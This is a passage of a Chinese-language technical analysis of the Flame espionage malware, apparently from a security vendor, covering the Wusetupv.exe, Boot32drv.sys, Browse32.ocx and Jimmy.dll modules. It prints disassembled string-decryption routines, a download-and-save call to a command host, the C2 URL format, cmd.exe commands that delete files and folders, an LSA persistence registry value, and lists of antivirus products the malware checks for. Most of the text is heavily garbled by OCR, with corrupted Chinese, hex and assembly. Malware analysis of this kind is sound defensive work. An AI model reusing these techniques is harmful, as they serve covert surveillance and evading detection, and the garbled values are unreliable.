1017FD68 | name trlgger(sql %0YELSE sqlite_rename_table{sql, %0) END, tbl_
A1817FDAS | name = %0, name = CASE WHEH type="table’ THEH %0 WHEH name LIKE

1817FDES | "sqlite_autoindex®%"® AND type=‘index’® THEHN ‘sqlite autoindex_* |
1817FE28 || %0 || substr{name,%d+18) ELSE name END WHERE tbl name=%0 AND (
1817FE6GE | Eype="table’' OR type=‘index"® DR type=‘trigger*);....sqlite_seque

ARATCCAD ] maas INARATE R0 cAaTadkn craAannn ~abk fama — B0 IFAF mama — 0

B 3-19 #ERNER LI —L SQL iEF
AR HGE IS postscript 1 EME R EL, AT UUEAT pdf S A R BT RAR S A A SR S
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1014
1014
1014
1014
1014
1014
1014
1014
1015
1015
1015
101%
1015
101%
10615
1015
1815
1015
1015
101

K45 2 w6 U sch b CEEIn B R SO ik & Geotagging (58 (&, 4.

50260 . jeenmedialarabic.fZm

FE20| . .ANNRR;TEN . BKaf. ltﬁllllll..
FE6GO NN, .kadeva.BZInnnZEN;
FEANG descendercyrillic.®
FEED| M #& .Wkacyrillic.
FF20 EB..Kacute.n 1o EEE.EEE £m E.Eka
FEGO bengali .WENBENRIETE. ... 000 N0 ."Ka
FFAO|bashkircyrillic . ANSENNENEE . .An{Ennn
FRED NN, %K. m}inngﬁ..n RENEE _Ejsuper
0020 ior.fwemEnEZE . .a%kn m-g..jparen.l
0060 mmagin. F3n nonospace .28l
g 87 WM. lj1s

00A0| Ilil’g e Z2n....
ooco 2 mam -Bjheharnenian. NRIENNENE .

0120/ nml ll mjhagurnukhi . ¥fem  emfE. .
0160 Z=ENNNENE.Bjhagujarati.um ..
o1no B2 (FEEim.mjhadeva. lm}

01E0 EE.Ejhabengali.{fm l"%@l
0220/ {f;8.0jeharabic. lptjlizl!&lu..

0260 .Mjehfinalarabic. {wIER[RIA

0200, ¢f.mjeemarabic.fg ﬁj’ll}ﬁ .ll §
ol L e T ]

tﬁlll ﬁ:
..um

llll@ﬁl e

»

3-20 £/ postscript BB MR pdf ST

Flame IRREFEDITIRS

TR 5,

SRR E, REEE AL, SRR,
180C5DE7 C3 retn
186C5DES 68 BBCA1718 | push 1817c 088
186C5DED E8 4EGEF4FF |call 1086CCLE
180C5DF2 59 pop BCX
180C5DF3 58 push eax
186C5DF 4 68 70651818 | push 18186570
180C5DF9 E8 7F73F4FF |call 18880170
180C5DFE 68 F8320F18 |push 100F32F8
180C5E 83 E8 1872FCFF |call 10880028
186C5E 08 59 pop ecx
180C5E B9 G3 retn
180C5EBA 68 48CA1718 | push 1817C 048
180C5E BF E8 2C6EF4FF |call 188BCCLA
180C5E1Y 59 pop ecx
180C5E15 L1i] push eax
180C5E16 68 DCO641818 | push 101864DC
186C5E1B E8 5D73F4FF |call 1886D17D
186C5E28 68 B82336F18 |push 106F3382
180C5E25 E8 F671FCFF |call 10880028
180C5E2A 59 pop BCX
J1B0C5E2B £3 retn
101?8000—101?8000
1617C000|D3 85 B3 2E|B6 8B OB AE|24 E7 AD C1/F4 2D 71 8A §§7Vi}l
1617C010| 00 60 18 00 47 B0 50 60 53 08 5F 60 4C 00 41 66 .NGPS_LA
1017c020 |[SENGENE0NG0 54 60 55 86 44 60 45 08| 00 06 27 9E|TITUDE.{!
1817C0308|87 €9 22 CC|28 98 33 37|1E 6B 21 A1 E2 D1 @6 68 llﬂﬁlﬁgl
1017C040|70 16 C9 B7|5C E1 36 D4| 08 ES CO 6D|39 EB 9F 40|00 B
1617C050| 00 60 22 0O\ 47 60 50 00|53 00 SF 00| 4C 00 4F 60| ."GPS_LO
1617C060| 4E 80 47 00|49 @8 54 88|55 B0 44 @8 45 0@ 5F B8\ NGITUDE_
1817C070|52 80 45 00|46 @8 B0 88| Ch 89 29 E1/38 55 D3 27 REF.%%
10170080\ 66 3C 3B S5B|D2 EBG 98 61|60 00 0P 68 6O 00 60 A8 lﬁﬁ f%.
1817C098|AD 29 31 D4| 66 AF AB BF | BC 39 8C 8B|E4 DF FD 61| NENEEZR:N
1817C6A0| B B0 1A BB\ 47 B0 50 80|53 08 SF 60| 4C A0 4F 66| .EGPS_LD
1817C0B0| 4E
1617C0C0| ED
1617CoD0| oo
1817C0ED| 87
B 3-21 #i &% Geotagging {52 AR ERA M
KRR . s FERS A BT
ORKIFINFIE , WDTHREEEH
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1888CBBE

test edx,edx
esi

mov esi

,8ax

Xmsglu32 _1086CBF8
ebx
edi

edi
sub edi

L851

lea ecx,
lea eax,
imul eax,ecx
add eax,
MOV ECX,Eax
shr ecx,

mov ebx,eax
shy ebx,

®or cl

,b1

mov ebx,eax
shy ebx,

%or cl
®or cl
sub

,bl
.al

inc esi
dec edx
il Xmsglu32.1886CBCC

edi
ebx
esi

3-22 fN#E &K 1000CBBE

XHZ R 2 A R E T

H—AEA

10868CBFA
108688CBFE
10688CBFD
1888CBFE
10688CBFF
10688CC A0
18688Cc a2
108688CCa3
18688CCAaY
10868CC a5
1888CC 86
108688ccar
10688CC A8
1068CCAB
10888CC8F
1888CC11
108688CC13
1888CC1S
1068CC18
1888CC1A
18688CCAE
1888CC21
1888CC2Y
1@868CC29
18688Cc2c
18688CC2E
1888CC2F
1888CC31
1@8688CC32
1888CC3Y
108688CC37
108688CC3B
18688CC3C
18688CC2D
1888CC3E
10688CC3F

ORKIRINFA , WIBTIREER

55

8BEC

53

56

57

8BCH

53

58

3

SB

68

61

8B5D 68
80878 688 68
75 89
8ACA
8AEY

8043 6B
EE 21
BFBY53 a9
8D43 6B
8045 OB
E® 9S5FFFFFF
83F8 oo
4 B4

98

8BFF

98

8BF6

8B4S B8
C643 OB 08
SF

SE

SB

5D

C3

ebp
mov ebp,esp
ebx
esi
edi
mov eax,eax
ebx
eax
eax
ebx
pushad
popad
moy ebx,[arg.1]
cmp
i $msglu32._1880CC1A
mou al,al
mou ah,ah
lea eax,

iy $msglu3?.1880CC3E
mouzx edx,

lea eax,

mov [arg.1],eax

call msqlu32.18688CBBE

cCmp eax,
$msglu3?.1086CC32
nop
mov edi,edi
nop
mov esi,esi
moy eax,[arg.1]
mov
edi
esi
ebx
ebp

3-23 B—A BB ERH

Flame IR REFESITIRS

BATT
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et~ L 3 Flame I AEHIRS
2 NE

1066CCLA ebp
18808CCH1 mov ebp,esp
1888CC43 ebx
18868CCHY esi
1006CCH5 edi
1880CCU6 mov eax,eax
1888CC48 ebx
1888CCH9 eax
1666CC4A eax
1066CCUE ebx
1888CCAHc pushad

1888CC4HD popad

1880CCLE BBYS B8 mov esi,[arg.1]
18686CC51 66:837E 18 Bicmp

1888CC56(| .. 75 89 ¥nsglu3d2.18868CCE1
1066CC58 8ACa mov al,al
1866CC5A BAEL mov ah,ah
1886CC5C 8Dhé 14 lea eax,

1888CCS5F . EB 28 iy ¥msglu32.1888CC81
18868CCH1 BFB750 12 movzy ed:,

1@80BCC65(| . 8DSE 14 lea ebx,

10088CCa8 BBC3 mov eax,ebx

188BCC6A E® 4FFFFFFF |call msglu32.1888CBEBE
186BCCHF 66:8306 18 8)and

1886BCCTY B3IFE 0a Cmp eax,
1888CCF7 . fh B4y Xmsqlu32.1888CC7D
1888CCFY o8

18808CCFA 8BFF edi,edi
10880CCF 0 o8

1888CCYD 8BF6 esi,esi
1880CCFF BBC3 eax,ebx
18808CCE1 SF edi
1880CCE2 SE esi
1880CC83 %B ebhx
1880CCEY LD ebp
1080CCE5 C3

3-24 E_AERMERH
il SR
RECH 2 NS4 edx[fR% K E], eax[ff % 5 M 4 Huhk]
BRACH — MR EME: eax[fif % J5 7~ 5 I AR A6 Hi k]
il L
ECX=(0xBh+n)*(0xBh+0xCh+n)+[0x101863EC]
note:n is the offset of the decrypted byte.
CL=(M21)xor(M2)xor(M3)xor(M4)
Decrypted data = Encrypted data — CL

ECE

M1 Mz M3 M4

ORKIRINFA , WIBTIREER B48 T
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Bl 3-25 CL=(M1)xor(M2)xor(M3)xor(M4)

WA 1 ThEEYL

R — 28 arg AR A RN HERR (1 — k]
iRt 7K. [word]arg.1+0x9h

fif s 7 Rk dA bk [dword]arg.1+0xBh

WREME: AR 5 T4 R AR AR

VH 2 ThEe v

PRECE — 280 arg 1[A BB N HEAR () — N k]
i wFF e K. [word]arg.1+0x12h

iRy B R gk [dword]arg.1+0x14h
IRIEME: arg. 1[HH A I R NHERR 1) — AN k]

o PR R AT R R AR ik

rﬁ:\
]
o

3.6 Wusetupv.exe BEE T

Wusetupv.exe #&“ KI5 1847 Ja BB 35 30 2 —, BATIE S s i 704 1 g3, REHu2 H
KEAN S MEOREE. HRER, EMREHEER.
ZREAEH MITM J7i%, R T RO ey 244 I

ORXKIRINEFE , RIDTHRIEE, EA9]
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Digital Signature Details

Flame IRREFEDITIRS

General | Advanced |

Digital Signature Information
This digital signature is Ok,

Signer information

Mame: |MS
E-mail: |NDI: available
Signing kime:

Caounkersignatures

|Tuesda';.n', December 28, 2010 6:54:40 AM

View Certificate

Mame of signet:
VeriSign Time SE...

E-mail address:
Mok available

Timestamp
Tuesday, December ...

Detailz

B 3-26Flame EAMBRBFER

Certificate

General | Details | Certification Path

Certification path

Microsoft oot Autharity

Microsaft LSRA PA

Microsoft Enforced Licensing Intermediate PCA
Microsoft Enforced Licensing Registration Authority CA

Certificate skatus:

Wieww Certificake

This certificate is Ok,

ORKIFINFIE , WDTHREEEH

B50%



fﬂ
oy B2 Flame R AE SIS

B 3-27Flame ERNERBFEER

t1 ecx
51 BCcx
FF7424 10 dword ptr ss:[esp+8x18]

FF7424 18 dword ptr ss:[esp+0x18]
ecx
aeL 2908 call eax urlmon.URLDownloadToFilen

B 3-28 F#EixCH

8812EC3 0 CETTEEEEET
B012F3C8 ASCII "http://MSHOME-F3BE293C/view.php?mp=1&jz=29138083295&Fd=2997338663%an=55597CCA3DDY&ef=
B012FE28 ASCII "C:AWINDOWS\temp\™~ZFFB42 . tmp"
gpeBanen

G012EC4HA  AOOOOBA0

3-29 4" C:\WINDOWS\temp\~ZFF042.tmp"*

WU RGEH MIB FEri AL A B DO 280 (5, e s L 260 s, Aol Bk
RETHH . WIS,

884812EB 68 45840880 1F61D280. 8040850854 [iphlpapi.dll
ague12Fe FF15 1C4B480 call

884812F 6 8BDE mov ebx,eax

004812F8 895D E4 mov [local.?],ebx

B8A4B12FB 3BDF cmp ebx,edi

88481 2FD . BFBY4 DBBBBBBI 1F61D280.884013DE

aaLa1383 68 L4LBSBLOBO 1F61D280. 004 A5048 GetIfTable

gL e1308 53 ebx hHodule

saLe1309 8B35 C849400 mov esi, kernel32 .GetProcAddress
884813 0F FFD& call esi

ag481311 8045 C4 mov [local.i15],eax

agua1314 3BC7 cmp eax,edi

ag4E1316 . BFBY4 czanaam 1F61D280.884013DE

aaLa131c 68 385840088 1F61D280. 00405038 GetIpAddrTable
aguE1321 ebx [hnudule

apue1322 call esi

ag4e132y [H] mov [local.i4],eax

aaue1327 cmp eax,edi

aaLa1329 HFBBBBBI 1F61D280.884813DE

ag4e132F edi

aa4B1338 lea eax,[local.q13]

80481333 eax

8481334 mov ebx,[local.?]

aa481337 ebx

ag4e1338 iphlpapi.GetIfTable

B 3-30 EAHEMRARE
WERANLBEREE R, I e /E 2 Helf% .

ﬂﬂh02860 . 68 Fuy524000 1F61D280. 004052F Y CreateToolhelp32Snapshot
53 ebx [thﬂuLv
FFD6 call esi
68 EAS2L000 1F61D280. 004 B52EL
53
8945 08 mow |
FFDG call es
68 DA4S24000 1F61D280. R4 AS2DY Process32Hext

3 ebx hodule
BOLS FB movw [local.2]
call esi

331 WKHIZEEH ME
B e ER R0 URL [BUE NS B

ORKIRINFA , WIBTIREER $B/51}W
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http://MSHOME-<STRING>/view.php?mp=1&jz=<STRING>&fd=<STRING>&am=<STRING>&ef=<STR
ING>&pr=<STRING>&ec=<STRING>&0v=<STRING>&pl=<STRING>

Jz ZHEBEHLENE A, £ T RACRS R -

A1 CAS34808 mov eax,
G69CH FD43838 imul eax,eax,
85 C3I?E2688 add eax,

A3 CA5340800 mouw
C1F8 18 sar eax,
25 FF7FBBAA and eax,

C3
3-32 Bl Jz SRR B D

am 2402 MAC Hilib, 15 0x55 FEine (anFED.
837D 18 M cmp [arg.5],
BALL3S Fh mov al,byte ptr ss:[ebp+esi-8xC]
. 15 B2 il short 1F61D2B0A.804814D5
34 L5 xor al,
BFBGCA mouzx eax,al
co eax {%B25>
8D4S ac lea eax,[arg.2]
68 645040008 1FG1DZ280. 00405064 Format = "%@25"
o eax s
FF15 DB4B4E0 | call
83C4 BC add esp,

83F8 @2 Cmp eax,
. fGC 54 ﬂ! short 1F61D2806.080481544
8D45 BC lea eax,[arg.2]
5a eax [StringTqud

FF75 08 [arg.1]
FF15 204840841 | call
85CA test epax,pax

. 4 43 short 1F61DZ288. 0048154,
b6 inc esi
83FE 86 cmp esi,

- F2 L2 short 1F61DZ2808. 88481409

Concatitring

3-33MAC it B9 58 R %
ef ZH0UE IP #illk, 5 0x44 iz (in FED.

ORKIRINFA , WIBTIREER B/52]
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33C9
8B4424 04
8AS424 08
B3Cc1
3610

Uy

83F9 04
72 EE

c3

dl=44 ('D")

X0 , BCX

mov eax,dword ptr ss:[esp+0x4]
mov byte ptr ss:[esp+Bx8]
add eax,ecx

xor ,dl

inc ecx

cmp ecx,Oxl

Eli Shnl‘f 1F61D280.00402A30

Stack ds:[8812EBE8]|=C8

Address |Hex dump
B012EBES CB A8 C? 81 Fu

3-34 P btk A9 in 5 R 3

ov ZHRINE G RGA S .

Pl Z U2 N 5 R 5136

Jinge Ty 2R FH WA B e, B2t 1
hXk1Qrbf6VH~29SMYAsCF-q70mad0eGLojWi.DyvK8zcnZxRTUpwE_B5tuNP1Jgl43

Flame IR REFESITIRS

ABCDEFGHIKLMNOPQRSTUVWXY Zabcdefghijklmnopgrstuvwxyz0123456789_-.

BHRGEMR

® HKEY_CURRENT_USER\Console: StandardSize

® SYSTEM\CurrentControlSet\Control\TimeZonelnformation: StandardDateBias

BERAEMRTRER KasperskyLab AN 2 hi A
® "HKLM\SOFTWARE\KasperskyLab\AVP6"

® "HKLM\SOFTWARE\KasperskyLab\protected\AVP7"

® "HKLM\SOFTWARE\KasperskyLab\protected\AVP8"

3.7 Boot32drv.sys SR AT

Boot32drv.sys & — NN G S IR PE SCHF, gy AogiEit 5 OxFF i XOR #:1E

IE ST

ORXKIRINEFE , RIDTHRIEE,
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B 3-35 IMEFBAI“Boot32drv.sys” I EAR

B AR

pop esi ; To decrypt data address

mov edi,esi ; To decrypt data address

pop ecx ; To decrypt the length of the data

_lib:

cmp ecx,

jz

_end

lodsb
xor al,

dec ecx

stosb
jmp _lib

_end:

fife e R A U

001529A8
001529B8
001529C8
001529D8
001529E8
001529F8
00152A08
00152A18
00152A28

ORXhRINERE |

00 0A0000000101DC0O30000019001001B ....?2.2.
31 B3 C1FFFFFFFFFFFFFF0204000000B9 1 {(??
04 00 00 1E 9B C6 2B 06 04 00 00 00 40 77 1B 00 & w.

00 FF FE 52 00 45 00 41 00 52 00 5F 00 570049 . ’".E.AR. .W.I
00 4E 00 44 00 4F 00 57 00 2E 00 44 00 45 00 53 .N.D.O.W..D.E.S
00 4B 00 54 00 4F 00 50 00 5F 00 53 00 4100 4D .K.T.0.P._.S.A.M
00 50 00 4C 00 45 00 5F 0052 004100540045 P.LE_RATE
00 F1 62 CAE6 FF FF FF FF FF FF FF FFFFFF 06 547

DT RS

Flame IR REFESITIRS
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00152A38
00152A48
00152A58
00152A68
00152A78
00152A88
00152A98
00152AA8
00152AB8
00152AC8
00152AD8
00152AES8
00152AF8
00152B08
00152B18
00152B28
00152B38
00152B48
00152B58
00152B68
00152B78
00152B88
00152B98
00152BAS
00152BB8
00152BC8
00152BD8
00152BES8
00152BF8
00152C08
00152C18
00152C28
00152C38
00152C48
00152C58
00152C68
00152C78
00152C88
00152C98
00152CAS8
00152CB8
00152CC8
00152CD8
00152CES8

04 00 00 00 CO D4 01 00 75 21 8F F4 03 46 00 00 ;.UM F..
00 8F 00 00 00 34 00 00 00 FF FE 5200450041 .2.4.. "".EA
00 52 00 5F 00 57 00 49 00 4E 00 44 00 4F 0057 .R._W.LN.D.O.W
00 2E 00 57 00 49 00 4E 00 44 00 4F 00 57 00 5F ..W.I.N.D.O.W._
00 530041 004D 0050004C0045005F0052 .S AM.PLE._R
00 41 00 54 00 45 00 FF EC 98 63 FF FF FF FF FF . A.T.E. #%c
FF FF FF FF FF FF FF 06 04 00 00 00 00 00 00 00  ????297?299?29929?
DE 6359 11 03 66 00 00 00 F7 0000 009C 0000 #4 Y f..2..2.
00 FF FE 5200450041 0052 005F 00570049 . " .E.AR. .W.I
00 4E 00 44 00 4F 00 57 00 2E 00 4E 00 4F 0054 .N.D.O.W..N.O.T
00 5F 0049 00 4E 0054 0045005200450053 ._.ILN.T.E.R.E.S
00 54 00 49 00 4E 00 47 00 5F 00 50 00 52 00 4F .T.I.N.G._.PR.O
004300450053 005300450053005F0049 .C.ESS.ES._.I
004E00540045005200560041004C0044 .N.-TERVA.LD

00 00 DE 63 59 11 03 56 00 00 00 79 01 00 00 04 .45 YV...y??2????
01 00 00 FF FE 5200450041 0052005F0057 .. " EAR. .W
00 49 00 4E 00 44 00 4F 00 57 00 2E 00 49 00 4E  .I.N.D.O.W...I.N
00 54 00 45 00 52 00 45 00 53 00 54 00 49 00 4E .T.E.RE.S.T.I.N
00 47 00 5F 00 50 00 52 00 4F 00 43 00 450053 .G._.PR.O.CE.S
00 53 00 45 00 53 00 2E 00 73 00 69 00 7A00 65 .S.E.S..s.i.z.e?

00 F4 2A D4 62 FF FF FF FF FF FF FF FF FF 06 04 .251?22222??
00 00 00 00 00 00 00 DE 63 59 11 0358 0000 00 ....... HYX...

EE 01 00 00 86 01 00 00 FF FE 520045004100 2.2.. ’ .E.A.
52 00 5F 00 57 00 49 00 4E 00 44 00 4F 0057 00 R._.W.L.N.D.O.W.
2E 00 49 00 4E 00 54 00 45005200 45005300 ..IN.T.E.RE.S.
54 00 49 00 4E 00 47 00 5F 00 50 00 52 00 4F 00 T.L.N.G._.P.R.O.
4300 45 00 53 00 53 00 45 00 53 00 2E 0066 00 C.E.S.S.E.S...f.
69 00 72 00 73 00 74 00 98 6B 24 F8 FF FF FF FF  i.rs.t5$?

FF FF FF 06 04 00 00 00 00 00 00 00 DE 63 59 11 Y

03 56 00 00 00 63 0200 00 FB 010000 FFFE 52 V..c.2..

00 45 00 41 00 52 00 5F 00 57 00 49 00 4E 00 44 .E.A.R._W.LN.D
00 4F 00 57 00 2E 00 49 00 4E 0054 00450052 .O.W..I.N.T.E.R
00 45 00 53 00 54 00 49 00 4E 00 47 00 5F 0050 .E.S.T.LN.G._.P
00 52 00 4F 00 43 00 45 0053 00 5300450053 .R.O.CE.SSE.S
00 2E 00 6C 00610073 007400C577 9131 FF ..las.tff?

FF FF FF FF FF FF FF FF 06 04 00 00 00 010000 ..................
00 BB 04 E5 A9 03 56 00 00 00 D8 02 00 00 70 02 .2 V...2.p

00 00 FF FE 52 00 45 00 41 00 52 00 5F 005700 .. ’ .E.A.R. .W.
49 00 4E 00 44 00 4F 00 57 00 2E 00 49 00 4E 00 I.N.D.O.W...I.N.
54 00 45 00 52 00 45 00 53 00 54 00 49 00 4E 00 T.E.R.E.S.T.L.N.
47 00 5F 00 50 00 52 00 4F 00 430045005300 G. .P.R.O.C.E.S.
53 00 45 00 53 00 2E 00 66 00 72 00 65 00 6500 S.E.S...fre.e.

39 8A 88 A6 FF FF FF FF FF FF FFFFFF 06 0400 9 %% 2.72.....

ORXKIRINEFE , RIDTHRIEE,
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00152CF8
00152D08
00152D18
00152D28
00152D38
00152D48
00152D58
00152D68
00152D78
00152D88
00152D98
00152DAS
00152DB8
00152DC8
00152DD8
00152DES8
00152DF8
00152E08
00152E18
00152E28
00152E38
00152E48
00152E58
00152E68
00152E78
00152E88
00152E98
00152EAS8
00152EB8

Flame IR REFESITIRS

00 00 00 00 00 00 DE 6359 11 03 50 00 00 00 4D  ...... 5% Y??2?P..M
03 00 00 E5 02 00 00 FF FE 5200 4500410052 .2.. /" EAR
00 5F 00 57 00 49 00 4E 00 44 00 4F 00 57 00 2E ._.W.L.N.D.O.W..
00 49 00 4E 00 54 00 45 00 52 00 4500530054 .I.N.TERE.S.T
00 49 00 4E 00 47 00 5F 00 54 00 49 00 54 00 4C .LN.G._T.I.T.L
00 45 00 53 00 2E 00 73 00 69 00 7A 00 65 00 BE E.S..s.i.ze.

97 A6 8A FF FF 06 04 00 00 00 00 00 00 00 DE 63  #4? ....... i

59 11 06 04 00 00 00 00 00 00 00 DE 6359 1106  Y...... 55 Y

04 00 00 00 01 00 00 00 BB 04 E5 A9 0C 1E 00 00  ......?%.-.

00 00 00 00 00 A3 C4 0C 69 FF FF FF FF FFFFFF ... D.i

FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF

FF FF FF 03 52 00 00 00 B5 03 00 00 5A 03 00 00 R..2.Z..
FF FE 52 00 45 00 41 00 52 00 5F 0057004900 /" .E.A.R. .W.L.
4E 00 44 00 4F 00 57 00 2E 00 49 00 4E 005400 N.D.O.W...L.N.T.
4500 52 00 45 00 53 00 54 00 49 00 4E 0047 00 E.R.E.S.T.N.G.
5F 00 54 00 49 00 54 00 4C 00 45 00 5300 2E 00 _.T.LT.LE.S...
66 00 69 00 72 00 73 00 74 00 B1 7F F6 66 0350 f.i.r.s.t.2fll P

00 00 00 C2 03 00 00 03 04 00 00 FF FE 520045 ..2.... ' .E

00 41 00 52 00 5F 00 57 00 49 00 4E 00 44 00 4F .A.R._W.IN.D.O
00 57 00 2E 00 49 00 4E 00 54 00 4500520045 W...I.N.T.ERE
00 53 00 54 00 49 00 4E 00 47 00 5F 00540049 .S.T.LN.G._T.
00 54 00 4C 00 45 00 53 00 2E 00 6C 006100 73 .T.LE.S..l.as

00 74 00 8C 30 08 74 FF FF 03 50 00 00 00 CF 03 .t.2%t  P..2

00 00 5E 04 00 00 FF FE 52 00 4500 41005200 .~. '~ E.AR.
5F 00 57 00 49 00 4E 00 44 00 4F 00 57 00 2E 00 _.W.LN.D.O.W...
49 00 4E 00 54 00 45 00 52 00 4500530054 00 IN.TERES.T.
49 00 4E 00 47 00 5F 00 54 00 49 00 54 00 4C 00 I.N.G._T.LT.L.
45 00 53 00 2E 00 66 00 72 00 65 00 65 0062 62 E.S...fre.ebb

91 78 FF FF % K

R 13 B WSO AT R IR AT

EAR_WINDOWDESKTOP_SAMPLE_RATE

EAR_WINDOWWINDOW_SAMPLE_RATE

EAR_WINDOWNOT_INTERESTING_PRCESSES_INTERVALD

EAR_WINDOWINTERESTING_PROCESSESsize

EAR_WINDOWINTERESTING_PROCESSESfirst

EAR_WINDOWINTERESTING_PROCESSESIast

EAR_WINDOWINTERESTING_PROCESSESfree

EAR_WINDOWINTERESTING_TITLESsize

EAR_WINDOWINTERESTING_TITLESfirst

ORXKIRINEFE , RIDTHRIEE, 856
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EAR_WINDOWINTERESTING_TITLESIast

EAR_WINDOWINTERESTING_TITLESfree

3.8 Browse32.ocx BERHT

Browse32.0cx & KA i BB AT Jo I FEAR 55 a5 AR S, FRA T X BU A B (1 o BT 1 A 2], bR
8 FH SR N B2 o 2 A T IR, 7 IEEGE 4> 4. Browse32.0cX 1E4T J5 0% 2 i R A1 &2 R T A SO B N
W BT, RIGEMBRIX S pE,  PLBG IEATR T N RIS B G % 115 B I RE AL

1. FWMAGWAGER, BARAHEREE.

2. THEUMFRAHRAE:

RO EYE, SCHPIRZS WM. (PRI T Browse32.0cx BEHGE iSRG 2B A LN
SCAEANED), SRIEBLE SRR DY Normal, SRICCAF RN, AnRAAZS, WARSE ST RN, B NFRIRE 155

MR EAIEE S, REESN 00 BB (B kSO
3. RIBHEHITHL:

"C:\WINDOWS\system32\cmd.exe” /c rd /s [/q "C:\Program Files\Common Files\Microsoft
Shared\MSSecurityMgr*

"C:\WINDOWS\system32\cmd.exe" /c rd /s /g "C:\Program Files\Common Files\Microsoft
Shared\MSAudio"

"C:\WINDOWS\system32\cmd.exe” /c rd /s /g "C:\Program Files\Common Files\Microsoft
Shared\MSAuthCtrl™"

"C:\WINDOWS\system32\cmd.exe" /c rd /s /g "C:\Program Files\Common Files\Microsoft
Shared\MSSndMix""

"C:\WINDOWS\system32\cmd.exe" /c del /q /f

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~*"

"C:\WINDOWS\system32\cmd.exe" /c del /q /f C:\WINDOWS\system32\ssi*"
"C:\WINDOWS\system32\cmd.exe" /c del /q /f C:A\WINDOWS\system32\aud*"'
"C:\WINDOWS\system32\cmd.exe" /c del /q /f C:AWINDOWS\system32\tok*"
"C:\WINDOWS\system32\cmd.exe" /c del /q /f C:\WINDOWS\system32\Ir|*"

4. TEEEMREBLE.

SN VM R AR 5% R 4

PR A ST I R E A R S
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa:

Authentication Packages: “mssecmgr.ocx”

BRI EMIBE (AR TP EE 9 60, JFMIER.

ORXKIRINEFE , RIDTHRIEE, ®57]|
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ANTIY

HKEY_ LOCAL_MACHINE\SYSTEM\ControlSet001\Contro\TimeZonelnformation:
StandardSize:

SO R B B U SRR

FEMIBHINEIT

M=(0xbh+N)*(N-+0xbh+0xch)

T N R E R P AR I A I

AL=(M1)N(M2)NM3)N(M4)

Decrypted data = Encrypted data — AL

Ry, SO EIZEY, BIPSR 9.

Enx

M1 Mz 6] M4

B 3-36AL=(M1)(M2)~(M3)~(M4)
i B AR AR
ZRER A S, BRI AL 8 B A7 3 edx Al eax AL MRS 4.

0x1000C826 proc near
test edx, edx

push esi
mov esi, eax
jbe short 0x1000C860
push ebx
push edi
push
pop edi
sub edi, esi
0x1000C834:
lea ecx, [edi+esi]
lea eax, [ecx+0Ch]
imul eax, ecx ; (Oxbh+N)*(N+0xbh+0xch)
add eax, dword_10067168
mov ecx, eax
shr ecx,
mov ebx, eax
shr ebx,
xor cl, bl

ORXKIRINEFE , RIDTHRIEE, 58]
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mov
shr
xor
xor
sub
inc
dec
jnz
pop
pop

0x1000C860:
pop
retn

0x1000C826 endp

XPZERE R A 2 4

WA LA IR

0x1000C8A8 proc near

push
mov
push
push
push
mov
push
push
pop
pop
pusha
popa
mov
cmp
jnz
mov
mov
lea
jmp
0x1000C8C9:
movzx
lea
mov
call
and
cmp

ORXKIRIETA , INDTHREERE

ebx, eax
ebx, 8
cl, bl
cl, al
[esi], cl
esi
edx
short 0x1000C834
edi
ebx

esi

ebp

ebp, esp
ebx

esi

edi

eax, eax
ebx

eax

eax

ebx

esl, [ebp+8]

word ptr [esi+10h], O
short 0x1000C8C9

al, al

ah, ah
eax, [esi+14h]

short 0x1000C8E9

edx, word ptr [esi+12h]
ebx, [esi+14h]

eax, ebx

0x1000C826

word ptr [esi+10h], O
eax, 0

Flame IRREFEDITIRS
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iy 53 K Flame SE A TIRE
jz short 0x1000C8E5
nop
mov edi, edi
nop
0x1000C8E5:
mov esi, esi
mov eax, ebx
0x1000C8E9:
pop edi
pop esi
pop ebx
pop ebp
retn

0x1000C8A8 endp
1000C8A8 ¥ ifi FH 340 K.

R FRE—ASH

FA ARSI 2 R, IV LA RS L

0x100010C6 push 0x10064C48
0x100010CB call 0x1000C8A8

M ER%L 1000C8A8 H T L& B N B 45 M U T -

DWORD*4:unknow | WORD:sign | WORD:length:N | WORD*N: Encrypted data ? 2 unknow

WH 2 A%

0x1000C862 proc near
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov eax, eax
push ebx
push gax
pop eax
pop ebx
pusha
popa

mov ebx, [ebp+8]
cmp byte ptr [ebx+8],
jnz short 0x1000C882
mov al, al

mov ah, ah

ORXKIRINEFE , RIDTHRIEE, %8605
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lea eax, [ebx+0Bh]
jmp short 0x1000C8A3

0x1000C882:
movzx  edx, word ptr [ebx+9]
lea eax, [ebx+0Bh]
mov [ebp+8], eax
call 0x1000C826
cmp eax,
jz short 0xX1000C89A
nop
mov edi, edi
nop
0x1000C89A:
mov esi, esi
mov eax, [ebp+8]
mov byte ptr [ebx+8],
0x1000C8A3:
pop edi
pop esi
pop ebx
pop ebp
retn

0x1000C862 endp
PRI % 1000C862 #7 1ff FH P 1K :
R E A

BN IR 2, BN A5 2R 0 R

0x1004046F push 0x1005C268
0x10040474 call 0x1000C862
M % 1000C862 H R LAUAHLE N FIEHE S5 A 0 T -
DWORD*2:unknow | BYTE:sign WORD:length:N WORD*N:Encrypted data ? 7 :unknow

3.9 Jimmy.dll #HHT

Jimmy.dll 2« KGR ARISAT G 146 TR SCAF PR CE R A, FRAT B XS S o TR E], oA
BREER AR P RN E R, B E AR, RS ARG R, TENA, R,

1o A ET R SRR, A AR 4 A Y AT AR

2. TrRHUE OXA3(163).  OxA4(164)FF % .

3. WP CHEHF TR, JEABCARRAL, SRICCH RN,

4. HICF"C:\DOCUME~N\ADMINI~1\LOCALS~1\Temp\~c34.tmp", FFizE A 25 FF- A N AL B, 1

ORXKIRINEFE , RIDTHRIEE, $#61E:
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Je IR ST A
5. ZRECHRTTHENLIAIR.
6. B % TempY\~dras2.tmp, %WINDOWS%\temp\~a29.tmp.
7. REBUEMEEE S B\
® HKLM\SYSTEM\CurrentControlSet\Control\TimeZonelnformation: StandardSize
® HKEY_CLASSES_ROOT\CLSID\{98de59a0-d175-11cd-a7bd-00006b827d94}
® HKLM\SOFTWARE\KasperskyLab\AVP6
® HKLM\SOFTWARE\KasperskyLab\protected\AVP7
8. /i LA EERE:
® FCH32.EXE
® PXConsole.exe
® PXAgent.exe
® Filemon.exe
® fsav32.exe
® FPAVServer.exe
® fssm32.exe
® FProtTray.exe
® fspc.exe
® fsdfwd.exe
® fsqguidll.exe
® FAMEH32.EXE
® fsgh.exe
® FSMB32.EXE
® FSMA32.EXE
